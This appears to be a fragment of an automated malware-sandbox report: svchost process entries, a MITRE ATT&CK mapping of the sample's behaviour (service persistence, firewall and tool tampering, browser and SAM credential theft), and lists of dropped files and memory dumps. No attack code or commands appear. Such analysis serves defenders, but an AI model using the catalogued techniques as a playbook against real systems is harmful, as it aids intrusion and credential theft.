C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
3Port Monitors
1Print Processors
1Winlogon Helper DLL
1Create or Modify System Process
7Windows Service
7Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Power Settings
1Privilege Escalation
Boot or Logon Autostart Execution
3Port Monitors
1Print Processors
1Winlogon Helper DLL
1Create or Modify System Process
7Windows Service
7Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Defense Evasion
Direct Volume Access
1File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Hide Artifacts
3Hidden Files and Directories
2Ignore Process Interrupts
1Impair Defenses
9Disable or Modify System Firewall
2Disable or Modify Tools
5Safe Mode Boot
1Indicator Removal
3File Deletion
2Network Share Connection Removal
1Modify Registry
7Subvert Trust Controls
1SIP and Trust Provider Hijacking
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1OS Credential Dumping
1Security Account Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
powershell.exe.log
WMSDKNS.XML
ModuleAnalysisCache
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
5ywwzv3y.dll
RES1AC6.tmp
RES1AC7.tmp
RES240D.tmp
RES65D9.tmp
RESA89F.tmp
__PSScriptPolicyTest_rlyocrz5.o5z.ps1
fsma2nol.dll
kkv2brh3.dll
n5dj4fux.dll
qdmhvsop.dll
hosts
5ywwzv3y.0.cs
5ywwzv3y.cmdline
CSCCBE93B21B8684D6FB59F835C7D76D57D.TMP
CSC53C44DDE204C404CBABF87218EAA670.TMP
fsma2nol.0.cs
fsma2nol.cmdline
CSC2CB03E1336DC48E691A43614E54070B7.TMP
iu3tbzfs.cmdline
CSC1D55C350FBB343C194DCDEC47321556.TMP
kkv2brh3.0.cs
kkv2brh3.cmdline
CSC588E8A5AB0F54B6C84ED56DD7B33735.TMP
n5dj4fux.0.cs
n5dj4fux.cmdline
CSC4AC068831B6B48388B658F331A194BEB.TMP
qdmhvsop.0.cs
qdmhvsop.cmdline
memory/1100-670-0x0000021CD45D0000-0x0000021CD45D8000-memory.dmp
memory/1600-665-0x000001D5EDB90000-0x000001D5EDD9A000-memory.dmp
memory/1600-664-0x000001D5ED800000-0x000001D5ED976000-memory.dmp
memory/1984-502-0x000001FEEC5A0000-0x000001FEEC5A8000-memory.dmp
memory/2128-610-0x000001FE69EA0000-0x000001FE69EA8000-memory.dmp
memory/2656-575-0x000001646B9D0000-0x000001646B9D6000-memory.dmp
memory/2656-574-0x000001646B9C0000-0x000001646B9C8000-memory.dmp
memory/2656-576-0x000001646BA20000-0x000001646BA2A000-memory.dmp
memory/2656-573-0x000001646BA00000-0x000001646BA1A000-memory.dmp
memory/2656-572-0x000001646BA50000-0x000001646BB03000-memory.dmp
memory/2744-311-0x00000259028D0000-0x0000025902983000-memory.dmp
memory/3596-345-0x000001B53BC80000-0x000001B53BD33000-memory.dmp
memory/3596-365-0x000001B539330000-0x000001B539338000-memory.dmp
memory/3760-253-0x0000017EA8660000-0x0000017EA8713000-memory.dmp
memory/3760-254-0x0000017EA8740000-0x0000017EA875C000-memory.dmp
memory/3760-255-0x0000017EA8720000-0x0000017EA872A000-memory.dmp
memory/4136-180-0x000001837C520000-0x000001837C528000-memory.dmp
memory/4296-279-0x0000029E3F760000-0x0000029E3F78A000-memory.dmp
memory/4296-278-0x0000029E3F750000-0x0000029E3F75A000-memory.dmp
memory/4296-280-0x0000029E3F760000-0x0000029E3F784000-memory.dmp
memory/4452-138-0x000001ECAC5A0000-0x000001ECAC5B0000-memory.dmp
memory/4452-139-0x000001ECAC5A0000-0x000001ECAC5B0000-memory.dmp
memory/4452-3-0x000001ECAC5A0000-0x000001ECAC5B0000-memory.dmp
memory/4452-47-0x000001ECAC590000-0x000001ECAC598000-memory.dmp
memory/4452-2-0x000001ECAC5A0000-0x000001ECAC5B0000-memory.dmp
memory/5048-10-0x0000019425AB0000-0x0000019425AD2000-memory.dmp
memory/5048-1-0x000001943F410000-0x000001943F420000-memory.dmp
memory/5048-0-0x000001943F410000-0x000001943F420000-memory.dmp
memory/5048-48-0x0000019423E60000-0x0000019423E68000-memory.dmp
memory/5128-205-0x000001E8586C0000-0x000001E8586D0000-memory.dmp
memory/5128-197-0x000001E858640000-0x000001E858650000-memory.dmp
memory/5540-135-0x0000021C82690000-0x0000021C826AC000-memory.dmp
memory/5540-136-0x0000021C826B0000-0x0000021C82763000-memory.dmp
memory/5540-137-0x0000021CE55D0000-0x0000021CE55DA000-memory.dmp
memory/5628-73-0x0000022813540000-0x0000022813548000-memory.dmp
memory/5868-758-0x000001A475770000-0x000001A475778000-memory.dmp